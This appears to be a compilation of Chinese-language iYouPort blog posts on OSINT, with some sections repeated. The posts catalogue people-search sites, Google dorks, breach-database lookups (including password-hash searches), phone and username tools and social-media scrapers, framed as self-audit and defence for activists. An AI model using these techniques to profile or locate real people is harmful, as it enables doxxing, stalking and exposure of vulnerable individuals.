- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

3、暗网爬虫

这里是一个暗网的隐藏服务爬虫 POOPAK：https://github.com/teal33t/poopak

它构建为在 Docker 容器中运行，并具有一些非常好的功能：

- 提取URL，
- 电子邮件地址，
- EXIF数据，
- BTC / ETH地址，
- 制作屏幕截图，
- 运行安全测试等内容

甚至提供易于使用的 GUI。对于调查来说应该很有用。

「图」

「图」

4、检查推特账户僵尸粉含量的工具

如果您怀疑某些明显为宣传性的账户为什么“如此多关注者”，可以使用以下这些工具分析其是否掺假：

- botornot.co；
- Fakers.statuspeople.com；
- 还有一个可以可视化结果的工具：https://sparktoro.com/tools/fake-followers-audit

社交媒体机器人非常多，例如，特朗普的推特账户有61%是机器人，在这里看到分析报告。

5、隐藏的朋友

如果您是活动家，这方面的技术需要您警惕，因为它会导致“连锅端”维稳。

尤其是组织动员者，也许您认为自己隐藏得很好，但实际上并不够，请注意下面的操作演示，如何挖掘一个人“隐藏”的人际关系网络。

蛛丝马迹都是非常重要的。

⚠这就是为什么我们警告任何敏感人际关系不要在社交媒体上体现，尤其是活动家团队，你们之间不应该在互联网上存在任何联系。

（工具本身不是恶意的，是开源调查自动化）

该演示视频以扎克伯格为例（它可以挖出任何人）：

请注意：即便没有上面这个自动化工具，在互联网上也不难挖到你希望隐藏的东西。

回顾 IYP 的开源调查演示案例，仅仅通过公开社交媒体信息，挖出政治旋转门《深层政治：Facebook金字塔的人形肌理 》。

🔐自我保护方法详见：

- 《角色扮演：行动者刚需》
- 《分裂人格的魅力》
- 以及《某些行动者，你需要一个袜子木偶》。

6、在暗网找到好东西

这里有一个列表，是在 TOR 网络上存在的一系列真实网站的目录。

该列表有多个类别，从全球透明度革命的档案到新闻媒体，从公民社会组织到技术安全等等，全有。

https://github.com/alecmuffett/real-world-onion-sites

下图只是一个例子。

「图」

「图」

7、网页抓取工具

SingleFile 是一个小工具，具有适用于 Chrome、Firefox 和 Opera 的插件，可将完整的网页保存到单个文件中，同时保持布局。

图像可能是以 Base64 GIF 或 PNG 格式存储的。开源。

请记住不要用于官方证据收集！

用于收集开源情报或保存网页以供其他非官方使用，它绝对是赢家：https://github.com/gildas-lormeau/SingleFile

8、安全检查—selfcare

你安全吗？

“We Leak Info”是了解数据泄露的新途径。

他们有超过7.500个数据泄露索引，超过100亿条记录。

⚠您可以查询数据集，以获取有关电子邮件地址、用户名、哈希、电话号码、IP等信息。

它会列出所有数据泄露，显示是否是可下载的数据集，或者显示数据来自哪个原始网站：weleakinfo.com

「图」

「图」

9、挖抖音

中国抖音的使用量之高和其跨国输出趋势，已经令该平台变成了一个新的开源情报数据来源。

简单说，挖掘真相的新渠道。

开发人员正在努力针对该数据金矿设计调查工具。

这里是一个简单的搜索工具—— 用户名、主题标签、全名/关键字：https://www.osintcombine.com/tiktok-quick-search

想必很快会有更多挖掘工具诞生，比如，快速人脸识别搜索匹配。

—— 持续更新中 —— 广告

原文

针对人的追踪调查：开源情报思考方法（1） - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

提醒防御

「图」

「图」

是的，通过标题您就可以看出，这篇文章介绍的是社交工程最重要的准备阶段，也是任何追踪监视者基本必需会使用的方法。

正如我们曾经在频道中讲述的，开源情报往往会结合社交工程（各种需求的侦察）和黑客（渗透测试），开源情报的能力是它们的基础。

「图」

「图」

传统上，情报分析师是从社会科学家那里借用研究技术的。但是，近年来由警察和政府间谍开发的在线开源情报技术尚未被社会科学家完全采用 —— 其中很大一部分是极具争议的 “社交媒体情报”。

- 介绍《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 防御方法《社交媒体情报和反情报基本工具手册：自我人肉（2）》

但是必须说，从学界的角度上看，开源情报完全可以是良性的；它可以从根本上扩展社会学家关于 “不惹眼措施” 的传统概念。

“不惹眼措施”（又称不引人注意的研究）是社会科学数据收集的惯用方法，其中人类受试者不知道自己的行为正在被观察，这样才能保证数据的可信性、代表性和研究价值。

HUMINT 是 “人工情报” 的缩写。 HUMINT 不仅可以通过访谈来收集，而且可以通过秘密观察来收集。在下面看到情报分类和不同类别的不同特点：

- 《“谷歌地图”是比詹姆斯邦德更棒的间谍》

当涉及秘密观察时，HUMINT 就是一种 “不惹眼措施” 的情报应用。而开源情报是不惹眼措施的另一种应用。

这样说也许还不够直观，可以举几个例，比如 选民倾向观察报告、党派地理分布的相关研究、政治宣传战网络的布局调查、监视资本主义寡头的政治旋转门、民族国家的扩张等等。

道德问题

这是必须说明的。社会科学家受到严格的道德规范的约束，必须尊重人类研究对象的隐私。仅当受试者对隐私 “没有合理的期望” 并且研究不能对人类受试者造成任何负面后果时，才允许采取这种措施。

- 关于是否 “合理期望” 可以参见这里的分析《一个愚蠢带来的启示》
- 以及一个案例《富有的混蛋》

在线研究可能涉及许多道德灰色地带。大多数社会科学家都不认为发布到公共博客或 Twitter 帐户上的帖子会受到隐私问题的保护。

但是发布到仅订阅者才可见的论坛的帖子呢？可以认为是私人通讯吗？当进入仅限订阅者论坛时，研究者是否有义务表明自己的身份？论坛是面向整个网络开放的还是仅面向订阅者开放的，这会有所不同吗？……

问题非常多。

许多道德问题尚未消除。

社科领域的研究人员在在线收集涉及单个可识别人类受试者的数据之前，都应先征得其机构审查委员会的批准 —— 不管数据是否在互联网公开了。

本文中介绍的方法是提醒防御的目的，很可能与监督机构的标准要求相抵触，但是，正是这样的阴暗方法一直在被政府间谍所采用。人们应该了解他们是怎么做的，这样才能更有效地防御。

回顾我们的“完美隐身”系列，和目前尚未完成的“变得难以被追踪的简单方法”系列内容：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》
- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》

针对个人的追踪调查

对于任何目标人，都有可能找到针对该目标的多种在线信息：#真正的名字

- 家庭地址
- 用户名
- 电话号码
- 电子邮件地址
- 域名
- 社交网络人际关系
- 亲戚关系
- 照片

1. 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

- 《超级情报收集工具库：开源验证和调查工具及使用方法》
- 《从信息验证到安全防御—日常必备的调查工具包》

1. PeepDB

- Pipl
- Spokeo

- 中国的“找人网”
- 中国的QQ（提供姓名直接查询）

1. Bing

- Google
- Yandex

1. White Pages

- PeepDB

1. Twitter

- Facebook “people named” search
- Facebook password reset

1. 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》

- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》

1. x@hotmail.com

- x@gmail.com
- x@yahoo.com
- x@outlook.com
- x@aol.com
- x@facebook.com
- x@me.com
- x@mail.com
- x@protonmail.com
- x@qq.com
- x@163.com
- 等等

1. Namechk

- Pipl
- Knowem

1. Twitter

- Instagram
- Facebook
- 微博
- 抖音
- QQ

1. Spy Dialer

- Spokeo
- ZabaSearch
- White Pages
- QQ
- 微博
- “查询网”（手机号码段）

1. Spokeo

- White Pages

1. Facebook recover

- Pipl

1. 《如何侦查电子邮件和电话号码？开源情报调查工具》

- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《如何保护自己免受电子邮件跟踪》
- 《如何使用账户恢复功能追踪目标人？- 开源情报搜集方法》

1. Pipl

- Spokeo
- Email Sherlock
- Rapportive app
- search Facebook by email address

1. PeepDBmaps (reverse address lookup)

- White Pages (reverse address lookup)
- PeepDB

- Pipl
- Spokeo

1. 《工具能力对比》

- 《谷歌搜图不好用怎么办：推荐另外两个更好用的工具》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《如何让模糊图像变清晰？- 开源情报初级处理工具》

1. 在这里看到《人脸识别搜索引擎》

- 以及《人脸识别可以自制，你知道吗？而且非常简单》
- 《如何使面部识别技术为公民所用？- 开源情报方法》

1. 《自我人肉（1）》

- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

最后，别忘了这个：《"如何知道有人正在线人肉你？6个简单的方法"》。〇

广告

原文

新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家 - iyouport

开源情报-每个人都可用的武器

【2019年11月20日存档】继续我们的不定期更新系列

Hi，这是我们长期更新的系列内容的第二部分。本系列都是没有废话的，只介绍新玩意；你可以通过尝试亲自了解它们的神力。

1、与 Facebook 的猫鼠游戏进行中

继 Facebook 关闭图谱搜索后该公司拥有的 Instagram 也在加大限制开源调查的能力—— 它关闭了查看点赞者的功能：

在关闭之前和之后的对比：

查看点赞者这一功能比较重要，尤其是当您需要了解调查对象之间隐藏的关系时，点赞是泄漏关系的最直接途径之一（转发反而不是）。在这里看到包含相关思路的演示：

- 《享誉盛名的"五角大楼官员"事实上是一个假人，如何揭露"他"？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》

要知道 Facebook 并非在为用户隐私服务，如果怀疑这点请阅读这个 PDF。

幸运的是，下面这个 Instagram 刮刀依然可用：https://github.com/realsirjoe/instagram-scraper

2、暗网资源列表

OSINT Techniques 共享了一个非常基本的链接汇编，列出了暗网上最受欢迎的在线市场、论坛和网站及其在线状态。

也许对调查来说会很有用。在这里看到：https://dark.fail/

3、一些最近更新到 GitHub 的开源工具

- sn0int（半自动 OSINT 框架和包管理器）

通过半自动处理公共信息并以统一格式映射结果进行后续调查。

可以从证书透明度日志和被动DNS收集子域；使用 asn 和 geoip 信息丰富IP地址；从 pgp 密钥服务器和 whois 收集电子邮件；发现违规登录信息；通过互联网查找某人的个人资料；使用被动arp等独特技术枚举本地网络；收集有关 phonenumbers 的信息；从 instagram 个人资料中收集数据和图像……等等。

您可以通过编写自己的模块轻松扩展 sn0int，也能与其他用户共享。

- theHarvester（使用二十多个公共数据源收集电子邮件、名字、子域、IP和 URL）

很简单无需多说。

- SpiderFoot（最完整的OSINT收集和侦察工具）

其目标是自动化收集有关给定目标的情报过程，包括IP地址、域名、主机、子网、ASN、电子邮件地址或人名等等。也可以在进攻中使用，即 作为黑盒渗透测试的一部分。

- Twint（先进的 Twitter 抓取工具）

不使用 Twitter 的API，允许您在避开大多数 API 限制的同时刮取目标用户的关注者、跟随者、推文等等。

优势：可以获取几乎所有的推文（Twitter API 限制只能持续3200个推文）; 可以进行快速初始设置; 可以匿名使用，无需Twitter注册; 没有速率限制。

以下是可视化示例（桌面应用程序正在开发中）

- Amass（DNS枚举和网络映射）

使用的信息收集技术：

- DNS：基本枚举，暴力强制（根据请求），反向DNS扫描，子

域名更改/排列，区域传输（根据要求）
- 刮取： Ask，Baidu，Bing，CommonCrawl，DNSDumpster，DNSTable，Dogpile，Exalead，Google，HackerOne，IPv4Info，Netcraft，PTRArchive，Riddler，SiteDossier，ViewDNS，Yahoo
- 证书：Active pulls，Censys，CertSpotter，Crtsh，Entrust，GoogleCT
- API： AlienVault，BinaryEdge，BufferOver，CIRCL，DNSDB，HackerTarget，Mnemonic，NetworksDB，PassiveTotal，RADb，Robtex，SecurityTrails，ShadowServer，Shodan，Spyse（CertDB 和 FindSubdomains），Sublist3rAPI，TeamCymru，ThreatCrowd，Twitter，Umbrella，URLScan，VirusTotal
- 网络档案： ArchiveIt，ArchiveToday，Arquivo，LoCArchive，OpenUKArchive，UKGovArchive，Wayback

4、一个有趣的 OSINT Telegram 机器人

这是个有意思的机器人，你想要什么就告诉它，它会自动弹出资源。

不清楚它的工作方式，但是测试一下还是不错的。

它有两种语言，英语和俄语，两种同时发送；您进入后它会询问你喜欢哪种语言，然后它问你知道什么，也就是您手头的仅有信息属于哪类。

下面有一大堆选项，就如下图所示，您在其中选择就可以，之后它就会根据您的已知弹出资源。

某些使用您使用不同的语种会被显示不同的资源反馈。

链接在这里：t.me /howtofind_bot 您可以试试看。尤其对于开源情报初学者来说它会非常有帮助。

5、yEd图表编辑器

偶然发现的这个小玩意。试运行的过程中很顺利。

您可以导入 XML 或 Excel 数据，创建图表，自动排列，自定义并以不同格式导出。

这对制作思维导图、流程图甚至漂亮的关系图表来说，会非常有用。

在这里看到演示：

链接在这里：https：*www.yworks.com/products/yed* ***6***、***Franz 5*** 开源情报社区几乎对 *Franz* 家喻户晓，这的确是一个很棒的工具。 您运行多个 *Telegram*、*WhatsApp* 或 *Discord* 帐户吗？尤其是调查人员，非常需要这样做，想要保护隐私安全的普通人也应该做到，见《分身的技巧》。 有了 *Franz* 您无需在单独的*VM*、容器或其他东西中运行它们，因为这是一个统治它们所有的工具。 好吧，你可能要小心一点，例如 *Facebook*，当多个帐户从同一个*IP*连接时可能会被发现是可疑的。但如果如上所述，您在需要多个袜子木偶的情况下也应该知道安全操作的基本方法。 链接在这里*: https://meetfranz.com/* ***7***、***Orbit*** *Somdev Sangwan* 在 *GitHub* 上发布了这个新工具，它可以查询加密货币交易、并刮取一个地址和所有连接地址的历史记录。 这是一个小而简单的脚本，包含一些基本参数，如查询深度和每个帐户的交易量等。 收集数据后，它可以在 *Quark* 中显示结果，甚至可以将其导出为 *JSON* 或 *Graphml* 文件。 *Link: https://github.com/s0md3v/Orbit* 延伸一个演示：《如何在区块链上追踪比特币交易？》○ —— 持续更新中 —— 原文

新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家 - iYouPort

开源情报-每个人都可用的武器

继续我们的不定期更新系列

「图」

「图」

Hi，这是我们长期更新的系列内容的第二部分。如果您还没有看到第一部分、或者不了解本系列的来源和目标，可以在这里找到《新生情报工具（1）》。

本系列都是没有废话的，只介绍新玩意；你可以通过尝试亲自了解它们的神力。

1、与 Facebook 的猫鼠游戏进行中

继 Facebook 关闭图谱搜索后该公司拥有的 Instagram 也在加大限制开源调查的能力—— 它关闭了查看点赞者的功能：

「图」

「图」

在关闭之前和之后的对比：

「图」

「图」

查看点赞者这一功能比较重要，尤其是当您需要了解调查对象之间隐藏的关系时，点赞是泄漏关系的最直接途径之一（转发反而不是）。在这里看到包含相关思路的演示：

- 《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》

要知道 Facebook 并非在为用户隐私服务，如果怀疑这点请阅读这个 PDF。

幸运的是，下面这个 Instagram 刮刀依然可用：https://github.com/realsirjoe/instagram-scraper

「图」

「图」

2、暗网资源列表

OSINT Techniques 共享了一个非常基本的链接汇编，列出了暗网上最受欢迎的在线市场、论坛和网站及其在线状态。

也许对调查来说会很有用。在这里看到：https://dark.fail/

3、一些最近更新到 **GitHub** 的开源工具

- sn0int（半自动 OSINT 框架和包管理器）

通过半自动处理公共信息并以统一格式映射结果进行后续调查。

可以从证书透明度日志和被动DNS收集子域；使用 asn 和 geoip 信息丰富IP地址；从 pgp 密钥服务器和 whois 收集电子邮件；发现违规登录信息；通过互联网查找某人的个人资料；使用被动arp等独特技术枚举本地网络；收集有关 phonenumbers 的信息；从 instagram 个人资料中收集数据和图像……等等。

您可以通过编写自己的模块轻松扩展 sn0int，也能与其他用户共享。

- theHarvester（使用二十多个公共数据源收集电子邮件、名字、子域、IP和 URL）

很简单无需多说。

- SpiderFoot（最完整的OSINT收集和侦察工具）

其目标是自动化收集有关给定目标的情报过程，包括IP地址、域名、主机、子网、ASN、电子邮件地址或人名等等。也可以在进攻中使用，即 作为黑盒渗透测试的一部分。

- Twint（先进的 Twitter 抓取工具）

不使用 Twitter 的API，允许您在避开大多数 API 限制的同时刮取目标用户的关注者、跟随者、推文等等。

「图」

「图」

优势：可以获取几乎所有的推文（Twitter API 限制只能持续3200个推文）; 可以进行快速初始设置; 可以匿名使用，无需Twitter注册; 没有速率限制。

以下是可视化示例（桌面应用程序正在开发中）

「图」

「图」

「图」

「图」

- Amass（DNS枚举和网络映射）

使用的信息收集技术：

- DNS：基本枚举，暴力强制（根据请求），反向DNS扫描，子域名更改/排列，区域传输（根据要求）
- 刮取： Ask，Baidu，Bing，CommonCrawl，DNSDumpster，DNSTable，Dogpile，Exalead，Google，HackerOne，IPv4Info，Netcraft，PTRArchive，Riddler，SiteDossier，ViewDNS，Yahoo
- 证书：Active pulls，Censys，CertSpotter，Crtsh，Entrust，GoogleCT
- API： AlienVault，BinaryEdge，BufferOver，CIRCL，DNSDB，HackerTarget，Mnemonic，NetworksDB，PassiveTotal，RADb，Robtex，SecurityTrails，

ShadowServer，Shodan，Spyse（CertDB 和 FindSubdomains），Sublist3rAPI，TeamCymru，ThreatCrowd，Twitter，Umbrella，URLScan，VirusTotal

- 网络档案： ArchiveIt，ArchiveToday，Arquivo，LoCArchive，OpenUKArchive，UKGovArchive，Wayback

4、一个有趣的 OSINT Telegram 机器人

这是个有意思的机器人，你想要什么就告诉它，它会自动弹出资源。

不清楚它的工作方式，但是测试一下还是不错的。

它有两种语言，英语和俄语，两种同时发送；您进入后它会询问你喜欢哪种语言，然后它问你知道什么，也就是您手头的仅有信息属于哪类。

下面有一大堆选项，就如下图所示，您在其中选择就可以，之后它就会根据您的已知弹出资源。

某些使用您使用不同的语种会被显示不同的资源反馈。

「图」

「图」

链接在这里：t.me /howtofind_bot 您可以试试看。尤其对于开源情报初学者来说它会非常有帮助。

5、yEd图表编辑器

偶然发现的这个小玩意。试运行的过程中很顺利。

您可以导入 XML 或 Excel 数据，创建图表，自动排列，自定义并以不同格式导出。

这对制作思维导图、流程图甚至漂亮的关系图表来说，会非常有用。

在这里看到演示：

链接在这里：https：*www.yworks.com/products/yed* 「图」「图」
6、Franz 5 开源情报社区几乎对 *Franz* 家喻户晓，这的确是一个很棒的工具。 您运行多个 *Telegram*、*WhatsApp* 或 *Discord* 帐户吗？尤

其是调查人员，非常需要这样做，想要保护隐私安全的普通人也应该做到，见《分身的技巧》。 有了 *Franz* 您无需在单独的*VM*、容器或其他东西中运行它们，因为这是一个统治它们所有的工具。 好吧，你可能要小心一点，例如 *Facebook*，当多个帐户从同一个*IP*连接时可能会被发现是可疑的。但如果如上所述，您在需要多个袜子木偶的情况下也应该知道安全操作的基本方法。 「图」「图」 链接在这里: *https://meetfranz.com/* ***7***、***Orbit*** *Somdev Sangwan* 在 *GitHub* 上发布了这个新工具，它可以查询加密货币交易、并刮取一个地址和所有连接地址的历史记录。 这是一个小而简单的脚本，包含一些基本参数，如查询深度和每个帐户的交易量等。 收集数据后，它可以在 *Quark* 中显示结果，甚至可以将其导出为 *JSON* 或 *Graphml* 文件。 「图」「图」 *Link: https://github.com/s0md3v/Orbit* 延伸一个演示：《如何在区块链上追踪比特币交易？》○ —— 持续更新中 —— 广告 原文

社交媒体情报和反情报基本工具手册：自我人肉（2） - iYouPort

开源情报-每个人都可用的武器

你对目标的了解越多，找到他或她的弱点就越容易，然后就可以利用这些弱点以发起最有效的攻击。

⚠然而你对自己的弱点很可能不那么了解，而你的敌人很了解。如果你想要防御敌人，那么就最好能首先”变成”自己的敌人 —— 通过他们的眼睛来看自己。

请注意，任何人都可能成为你的敌人 —— 而不仅仅是政府，还包括收钱“办事”的家伙。

最近我们惊讶的得知，早年只在欧美国家流行的私人侦探业务，目前也在中国出现 ；如下图，这是一家做相关业务的团队发布的简易版广告：

「图」

「图」

你往往不会知道自己在什么时候会得罪什么人。唯一的方法是：提前预防。

这就是“自我人肉” 系列的目的 —— ⚠帮助您在被对手找到之前，尽可能砍断一切追踪线索。

正因为当下数字时代，人们在互联网上暴露了自己太多私密隐情，于是，社交媒体和互联网是追踪者首先会深入探索的。

这是一场竞技。你和你的对手谁先入手，谁就能取得胜利。

“自我人肉”系列将提供绝大多数追踪者都会使用的技术和工具，是的他们整天都在研究这些东西。现在，我们必须让大众了解这些东西，

以便采取针对性的防御。

关于安全防御，IYP即将推出一整套详细的措施 —— 从线上到线下，尽可能从每一个细节帮助您的人身安全。敬请期待。

我们在上一篇文章中介绍了关于《自我人肉》的最基本方法和思考方式；在《大清洗》中介绍了一些隐身的办法。也许仍不是最全面的。

⚠随着社交媒体的使用量几乎接近饱和，当权者对社交媒体情报的热衷一直在迅速膨胀；加之全网挖掘技术 如OSINT的兴起，并且工具越来越好用和自动化，几乎任何人都可以扒光你。

「图」

「图」

💡于是想要保护自己的人最有必要做的就是在被别人扒光之前，先自行找到针对自己来说最致命的东西，然后尽可能隐藏它们。

OSINT就是这样一种东西，它不仅能进攻而且也能防卫，如果你能在你的对手使用这些技术瞄准你之前，使用同样的技术对自己进行全面审视，就能发现对手最可能从哪里下手，便能做到有针对性的防御。

IYP推荐过OSINT工具套装，详见《超级情报收集工具库》，其中一半是提供给调查人员、记者和各领域真相挖掘者的，今天则做一个补充，提供给大众一系列“自我人肉”的基本工具。

试试看，也许您能发现互联网有多可怕。

也能知道自己或朋友是如何被警方抓到的。

「图」

「图」

有很多 OSINT 工具可供使用，本文不打算全部介绍它们，只讨论最常用的工具、以及在所描述的用例中比较有用的工具。

本指南会展示一种通用方法，您当然可以使用不同的工具和方法，具体取决于您的需求和初始状态。

基本的 **OSINT** 步骤是这样的：

- 从您所知道的开始（电子邮件、用户名等等）
- 定义需求（你想得到什么）
- 收集数据
- 分析收集到的数据
- 根据需要使用新收集到的数据进行分析
- 验证你的假设
- 生成报告

下面分头介绍不同部分的挖掘。

1、挖真实姓名

「图」

「图」

IntelTechniques.com OSINT工作流程图：真实姓名

- 政府资源

有许多网站，您可以在其中找到有关人员或组织的信息，根据国家/地区的不同，信息开放性可能会有所不同。

本文不会列举所有国家的政府资源，因为作为不同国家的居民它们可能与你不相关。

⚠但请记住，这些资源均在线，并且 Google 就能挖出来，它们并不难找，特别是使用运算符搜索的情况下。参见我们曾经介绍过的方法，部分详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》

- 谷歌 **Dorks**

2002年，Johnny Long 开始研究谷歌搜索查询，揭露易受攻击的系统或易于披露的敏感信息。他把这些方法标记为 Google Dorks。

现在，您可以通过数千种不同的查询来探索 Google Hacking Database。下面的查询可以通过简单的搜索返回给您原本难以找到的信息。

- *“john doe” site:instagram.com* —引号强制 Google 在 Instagram 上进行搜索时完全匹配。
- *“john doe” -“site:instagram.com/johndoe” site:instagram.com*—

隐藏目标自己帐户中的帖子，但在其他人的 Instagram 帖子上显示发布的评论。
- *“john” “doe” -site:instagram.com*—显示与给定姓名和姓氏完全匹配但组合不同的结果，并从结果中排除 Instagram。
- *“CV” OR “Curriculum Vitae” filetype:PDF “john” “doe”*—在名称中搜索包含“CV”或“Curriculum Vitae”的目标简历，并具有PDF扩展名。

如果您对拼写有100%的肯定，请将单个单词用引号括起来。默认情况下， Google 会尝试将您的关键字塑造成大众想要的内容。

顺便说，Instagram 的有趣之处在于如果你使用正确的 Google Dork，甚至可以看到私人帐户的评论和点赞。

「图」

「图」

必须推荐同时使用 Bing、Yandex 和 DuckDuckGo 上的高级搜索查询执行搜索，因为其他搜索引擎可能会为您提供 Google 无法获得的结果。

搜人 ——

有专门从事人物搜索的网站可以提供真实姓名，用户名，电子邮件或电话号码。

- https://pipl.com
- https://www.spokeo.com
- https://thatsthem.com
- https://www.beenverified.com
- https://www.fastpeoplesearch.com
- https://www.truepeoplesearch.com
- https://www.familytreenow.com
- https://people.yandex.ru

中国有一个“找人网 zhaoren.net”，也是足够可怕的；还有手机号、身份证号、IP地址等查询功能的“ip138.com”。

即便你移除了自己，新的搜索依旧会把你的资料包含在列表中。原因是不同的服务购买和使用了相同的数据集。于是您只需要等待一个更新的数据集出现。

相对的，您的侦查对象在站点A上删除的数据可能会在站点B上被找到。

搜用户名 ——

首先，必须找到一个用户名。通常是名称加姓氏的组合、或源自该人使用或拥有的网站的域名。

从您拥有的数据开始，然后针对您的需求进行反向查找。

显然，最简单的方法是谷歌目前已知的任何相关数据，并尝试使用用户名查找任何页面。

此外，您可以使用反向用户名搜索的特殊网站，例如 socialcatfish.com，usersearch.org 或 peekyou.com。

Google Dorks ——

在搜索用户名时 Google Dorks 非常有用。此外，URL 搜索可能会给您带来良好的结果，因为通常URL包含用户名。

- *inurl:johndoe site:instagram.com*—在 Instagram 上搜索包含“johndoe”的网址。
- *allinurl:john doe ny site:instagram.com*—在 Instagram URL 中找到带有“john”、“doe”和“ny”字样的页面。与 inurl 类似，但支持多个单词。

根据搜索的复杂程度以及使用以前方法的成功程度，您可能希望生成一个单词列表。

当需要尝试很多选项时，列表会很有用，因为你没有清楚地了解用户名应该是什么，但是有很多猜测。

「图」

「图」

用户名搜索 ——

很多网站都有用户名搜索，其中最好的网站之二是：instantusername.com 和 namechk.com。

通常，一个服务可以找到其他服务没有找到的东西，因此最好同时使用这两个。

除了在线服务外，您还可以使用 WhatsMyName——一个 Github 项目，包含更高级的工具：Spiderfoot 和 Recon-ng。但是，您可以将其用作运行 Python 脚本的独立检查程序。

您可能会得到误报，因为其他人可以使用相同的用户名，要为此做好准备。

「图」

「图」

请注意：⚠高度建议全程使用匿名方法隐藏您的操作者身份。

电子邮件地址 ——

「图」

「图」

Google Dorks ——

- *“@example.com” site:example.com*——搜索给定域名上的所有电子邮件；
- *HR “email” site:example.com filetype:csv | filetype:xls | filetype:xlsx*——在给定域上查找HR联系人列表；
- *site:example.com intext:@gmail.com filetype:xls*——提取电子邮件ID。

电邮工具 ——

- Hunter——对电子邮件地址执行域名快速扫描并显示其常见模式。
- Email permutator——支持多个变量输入以生成自定义结果。
- Proofy——允许批量电子邮件验证，这在您使用排列工具生成电子邮件列表并希望一次性检查所有电子邮件时非常有用。
- Verifalia——无需注册即可免费验证单个电子邮件地址。要使用批量验证，您必须注册。

浏览器插件 ——

- Prophet—揭示有关人的更多信息。它使用高级引擎根据姓名，公司和其他社交数据预测给定人员最可能使用的组合形式。然后，Prophet 验证生成的电子邮件，以确保它是正确的和可交付的。
- OSINT browser extension—包含许多有用的链接，包括用于电子邮件搜索和验证的链接。兼容 Firefox 和 Chrome。
- LinkedIn Sales Navigator—适用于 Chrome 的插件，可直接在 Gmail 中显示关联的 Twitter 帐户、和丰富的 LinkedIn 个人资料数据。

被攻破的数据库 ——

数据泄露已成为一个大问题，最近我们看到越来越多的数据转储。

安全研究员 Troy Hunt 收集了被泄露的数据，剥离了密码，并将其上传到了 haveibeenpwned.com。

虽然违规事实本身可能不那么重要，但重要的是，知道您正在研究的人的电子邮件就可能获得该人使用的或至少曾经用过的服务列表。

另一种选择是使用 dehashed.com。使用免费帐户时它的工作方式与 Troy Hunt 类似，但订阅版可以以明文或哈希形式显示密码。

从 OSINT 的角度来看，我们需要搜索它是否在其他一些网站上使用，另一种方法是找出该人使用或至少使用过哪些服务。

通过密码或其哈希进行搜索不仅可以显示使用过的网站，还可以显示与之关联的电子邮件地址。

因此可以获得使用其他方法无法获得的目标电子邮件。重要的是要注意，如果密码不是唯一的，可能会得到误报，因为其他人也可能会使用它。

电话号码 ——

「图」

「图」

有时人们会将电话号码和电子邮件放入 Facebook 个人资料里，因此在 Facebook 搜索中键入这些东西就会显示个人资料。

另一个选择是查找用户提供的电话号码数据库，如 whocalledme.com。

数据库不仅限于美国，也可以检查来自欧洲的数据。

此外，在移动设备上也有几个应用程序：privacystar.com，getcontact.com 和 everycaller.com。

有许多反向电话查询服务，它们通常是针对特定国家/地区的，因此找到适合您需求的服务很重要。

PhoneInfoga ——

PhoneInfoga 是扫描电话号码的免费类最先进工具之一。

目的是首先在任何国际电话号码上收集基本信息，如国家、地区、运营商和线路类型，并且准确性非常高。然后尝试确定 VoIP 提供商或在搜索引擎上搜索足迹以尝试识别号码所有者。

- 检查电话号码是否存在且是否可行；
- 收集国家、线路类型和运营商等标准信息；
- 一次可检查多个号码；
- 使用外部 API，Google Hacking，电话簿和搜索引擎进行 OSINT 侦察；
- 使用自定义格式进行更有效的 OSINT 侦察。

Android 模拟器 ——

许多 Android 应用程序可以在模拟器上运行而不会出现问题，但有些可能无法按预期运行。

例如，在 freephonenum.com 上测试时，Viber 在激活 VoIP 电话号码方面存在问题。

但是，在模拟器上运行应用程序有很多优点：您的真实帐户或电话号码将是安全的，因为您不必在手机上安装有问题的应用程序，并且您可以轻松欺骗GPS坐标。

我们介绍过这个游戏，详见《如何在您的 PC 上创建 Android 开源研究设备？》。

将号码保存在手机中，然后查看 Viber 或 WhatsApp 联系人列表。这

些服务允许添加照片、简介、所有者的姓名、并且只需知道电话号码即可提取此信息。

- Bluestacks—主要面向游戏玩家，但也运行其他应用程序。适用于 Windows，Mac 和 Linux，不需要虚拟机，因此安装比 Genymotion 更容易。
- Genymotion—被开发人员广泛使用，但也有免费版供个人使用。适用于 Windows、Mac 和 Linux，并有一系列虚拟设备可供选择。
- AMIDuOS—仅适用于 Windows，并利用系统中的设备驱动程序在 Android 中启用近乎原生的性能。它速度快，安装简单。然而要花钱，AMIDuOS 的售价为10美元。

域名 ——

「图」

「图」

如果你想要的个人或组织拥有一个网站，你必须知道如何获取有关它的信息。

这一调查可能会揭示正在使用的操作系统、软件版本、个人联系信息等。

建议在没有“触及”目标环境的情况下进行调查，这种技术被称为被动侦察 —— 可以帮助获得有关目标的更多信息，而无需直接与其进行交互。

下面描述一些在保持隐身的同时获取信息的方法。

Google Dorks ——

以下是一些可用的查询：

- *site:example.com*—将搜索限制为特定网站或域。
- *filetype:DOC*—返回DOC文件或其他指定类型，例如 PDF，XLS 和 INI。通过用“|”分隔扩展名，可以同时搜索多种文件类型。
- *intext:word1*—找到包含您要搜索的特定单词的网页和网站。
